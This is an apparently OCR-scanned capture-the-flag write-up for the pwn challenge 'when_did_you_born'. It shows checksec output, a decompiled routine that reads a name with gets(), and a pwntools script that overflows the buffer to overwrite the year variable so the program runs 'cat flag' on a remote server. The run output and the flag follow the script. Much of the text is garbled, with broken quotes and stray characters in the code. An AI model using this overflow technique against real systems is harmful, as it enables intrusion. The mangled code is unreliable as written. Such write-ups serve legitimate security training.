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tucker@ubuntu:~/pwn$ file when_did_you_born
when_did_you_born: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,

interpreter /lib64/1, for GNU/Linux 2.6.32,
BuildID[shal]=718185b5ec9c26eb9aeccfa®ab53678e34fee@0a, stripped

7 PBAbItIELF 1, 271 kAd i checksec & A 4 (5 2.«

tucker@ubuntu:~/pwn$ checksec when_did_you_born
[*] '/home/tucker/pwn/when_did_you_born'

Arch: amd64-64-1little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (©x400000)
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puts("What's Your Birth?");
__isoc99_scanf("%d", &v5);
while ( getchar() != "\n' )
if ( v5 == 1926 )
{
puts("You Cannot Born In 1926!");
result = OLL;
}
else
{
puts("What's Your Name?");
gets(&v4);
printf("You Are Born In %d\n", v5);
if ( v5 == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");

}

M RATTR 2 5 RIS AT H f, RATTEget(&vA)f, & tE iva, fEHGEH, 13vEi{E v1926,
HI0x0786, LI fkkmyian T

E— 1% bbytes

st v rbp-20h
vh rbp-18h
rbp-10h
vB rbp-8h
rbp
bt rip

DR R ATT AT BAA] P 2R R A ACAS AT 30

from pwn import *

H*

a = process("./when_did_you_born")
= remote("111.198.29.45", "57195")
a.recvuntil("What's Your Birth?")

Q

a.sendline('a")

a.recvuntil("What's Your Name?")

a.sendline("a" * 8 + p64(0x0786))

a.interactive()



BATHIRAT

tucker@ubuntu:~/pwn$ python when_did_you_born.py
[+] Opening connection to 111.198.29.45 on port 57195: Done
[*] Switching to interactive mode

You Are Born In 1926

You Shall Have Flag.
cyberpeace{24355d7f3716774698e56bca32ble2a5}

[*] Got EOF while reading in interactive

$

[*] Interrupted

[*] Closed connection to 111.198.29.45 port 57195
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